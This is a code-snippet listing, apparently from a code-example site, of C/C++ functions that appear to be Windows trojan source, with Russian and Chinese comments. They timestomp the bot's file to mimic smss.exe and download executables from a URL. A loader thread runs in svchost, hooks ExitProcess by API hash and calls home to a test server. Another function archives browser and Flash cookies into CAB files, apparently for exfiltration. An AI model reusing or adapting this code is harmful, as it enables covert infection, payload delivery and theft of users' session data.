Exemple #1
0
void SetFakeFileDateTime(PCHAR Path)
{
	WCHAR smss[] = {'\\','s','m','s','s','.','e','x','e',0};

	// Получаем дату и время системмного файла
	WCHAR *SysPath = (WCHAR *)MemAlloc( 512 * sizeof(WCHAR) );

	if (SysPath == NULL)
		return;

	pGetSystemDirectoryW(SysPath, 512);
	plstrcatW( SysPath, smss );

	HANDLE hFile = pCreateFileW( SysPath,  GENERIC_READ,  FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );

	MemFree( SysPath );
	
	if ( hFile == INVALID_HANDLE_VALUE )
	{
		return;
	}

	FILETIME fl1;
	FILETIME fl2;
	FILETIME fl3;

	pGetFileTime( hFile, &fl1, &fl2, &fl3 );
	pCloseHandle( hFile );

	// Устанавливаем дату бота
	hFile = pCreateFileA(Path,  GENERIC_WRITE,  FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );

	if ( hFile == INVALID_HANDLE_VALUE )
	{
		return;
	}

	pSetFileTime( hFile, &fl1, &fl2, &fl3 );
	pCloseHandle( hFile );

	return;
}
Exemple #2
0
PVOID MapBinary(LPCTSTR Path)
{
	LPVOID Map = NULL;
	HANDLE hMapping;
	HANDLE hFile;

	hFile = pCreateFileA(Path,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
	if (hFile != INVALID_HANDLE_VALUE)
	{
		hMapping = pCreateFileMappingA(hFile,0,PAGE_READONLY|SEC_IMAGE,0,0,0);
		if (hMapping != INVALID_HANDLE_VALUE)
		{
			Map = pMapViewOfFile(hMapping,FILE_MAP_READ,0,0,0);

			pCloseHandle(hMapping);
		}

		pCloseHandle(hFile);
	}

	return Map;
}
Exemple #3
0
bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
{
	typedef BOOL (WINAPI *WriteFileT)
		(
		__in        HANDLE hFile,
		__in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer,
		__in        DWORD nNumberOfBytesToWrite,
		__out_opt   LPDWORD lpNumberOfBytesWritten,
		__inout_opt LPOVERLAPPED lpOverlapped
		);
	WriteFileT pWriteFile = (WriteFileT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteFile");
	
	typedef HANDLE (WINAPI *CreateFileAT)
		(
		__in     LPCSTR lpFileName,
		__in     DWORD dwDesiredAccess,
		__in     DWORD dwShareMode,
		__in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
		__in     DWORD dwCreationDisposition,
		__in     DWORD dwFlagsAndAttributes,
		__in_opt HANDLE hTemplateFile
		);	
	CreateFileAT pCreateFileA= (CreateFileAT)GetProcAddress(LoadLibrary("kernel32.dll"),"CreateFileA");
	
	typedef BOOL (WINAPI *CloseHandleT)
		(
		__in HANDLE hObject
		);
	char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
	CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm);

	HINTERNET	hInternet, hUrl;
	HANDLE		hFile;
	char		buffer[1024];
	DWORD		dwBytesRead = 0;
	DWORD		dwBytesWritten = 0;
	BOOL		bIsFirstPacket = true;
	BOOL		bRet = true;
	
	hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
	if (hInternet == NULL)
		return false;
	
	hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
	if (hUrl == NULL)
		return false;
	
	hFile = pCreateFileA(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	
	if (hFile != INVALID_HANDLE_VALUE)
	{
		do
		{
			memset(buffer, 0, sizeof(buffer));
			InternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead);
			// 由判断第一个数据包是不是有效的PE文件
			if (bIsFirstPacket && ((PIMAGE_DOS_HEADER)buffer)->e_magic != IMAGE_DOS_SIGNATURE)
			{
				bRet = false;
				break;
			}
			bIsFirstPacket = false;
			
			pWriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
		} while(dwBytesRead > 0);
		pCloseHandle(hFile);
	}
	
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hInternet);
	
	return bRet;
}
	//------------------------------------------------------------------------
	BOOL StartLoaderThread(LPVOID SystemArgument)
	{

		//// 303_ld запуск в Svchost (тут сети может не быть)
		//PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("303_ld"));

		// Запускаем поток загружки длл
		
		//===================================================
		// Этап 1. Проверяем существование сигнального файда
		// Для этого создадим файл с экслюзивными праввами и
		// поставим его на удаление после перезапуска системы
		// Хэндл файла закрывать не будем, это даст чёткий
		// сигнал, что процесс запустивший загрузку ещё живой
		//===================================================
		PCHAR FileName = GetSignalFileName();
		if (FileName == NULL) return false;

		// Пытаемся открыть фай
		HANDLE H = (HANDLE)pCreateFileA(FileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_SYSTEM , 0);
		if (H == INVALID_HANDLE_VALUE)
		{
			// Ошибка создания файла, считаем, что
			// в данный момент файлом владеет другой процесс
			STR::Free(FileName);
			return false;
		}

		// Указываем системе, что после перезапуска необходимо
		// удалить файл
		pMoveFileExA(FileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);


		//===================================================
		// Этап 2: Устанавливаем хуки которые заблокируют
		// эавершение процесса до завершения работы нашего
		// потока
		//===================================================
		if ( HookApi(1, 0x95902B19 /* ExitProcess */, (DWORD)&Hook_ExitProcess ) )
			__asm mov [Real_ExitProcess], eax


		//===================================================
		//  Этап 3: Запускаем поток
		//===================================================
		ThreadHandle = StartThread(DownloadMethod, SystemArgument);
		if (ThreadHandle == NULL)
		{
			pCloseHandle(H);
			return false;
		}
		pSetThreadPriority(ThreadHandle, THREAD_PRIORITY_NORMAL);

		//===================================================
		//  Этап 4: Запускаем поток в svchost отзвона на тестовый сервер
		//===================================================
		StartThread(DbgRptSvchostThread, NULL);



		return true;
	}
Exemple #5
0
void WINAPI DeleteBrowsersCookies()
{
	/*
	// Фцнкция удаляет кукисы браузеров и Macromedia Flash Player
	IEClearCache();
	DeleteIECookies(1);
	DeleteIECookies(2);
	//DeleteIE_cookies("Windows Vista");
	DeleteFFCookies();
	DeleteSOL();*/
	
	//IEClearCache();
	char *Path = GetTempNameA();
	HCAB hCab = CreateCab(Path);
	// Фцнкция удаляет кукисы браузеров и Macromedia Flash Player
		//DeleteIE_cookies("Windows Vista");
		DeleteIECookies(1, hCab);
		DeleteIECookies(2, hCab);
		DeleteFFCookies(hCab);
	CloseCab(hCab);

	HANDLE hFile = (HANDLE)pCreateFileA(Path,
                            GENERIC_READ,
                            FILE_SHARE_READ,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
	DWORD sizeH = 0;
	DWORD sizeL = (DWORD)pGetFileSize(hFile, &sizeH);
	__int64 sizeCookies = (__int64)(sizeH<<32) + sizeL;
	DbgMsg("coocksol.cpp",sizeCookies,"COOKIE CAB SIZE");
	pCloseHandle(hFile);

	/*char *tmp = (char*)MemAlloc(256);
	GetTempFileNameA("C:\\cabs\\","cab_",0,tmp);
	CopyFile(Path, tmp, 0);
	MemFree(Path);
	MemFree(tmp);*/



	Path = GetTempNameA();
	hCab = CreateCab(Path);
		DeleteSOL(hCab);
	CloseCab(hCab);

	hFile = (HANDLE)pCreateFileA(Path,
                            GENERIC_READ,
                            FILE_SHARE_READ,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
	sizeH = 0;
	sizeL = (DWORD)pGetFileSize(hFile, &sizeH);
	__int64 sizeSol = (__int64)(sizeH<<32) + sizeL;
	DbgMsg("coocksol.cpp",sizeSol,"SOL CAB SIZE");
	pCloseHandle(hFile);

	/*tmp = (char*)MemAlloc(256);
	GetTempFileNameA("C:\\cabs\\","cab_",0,tmp);
	CopyFile(Path, tmp, 0);
	MemFree(Path);
	MemFree(tmp);*/
}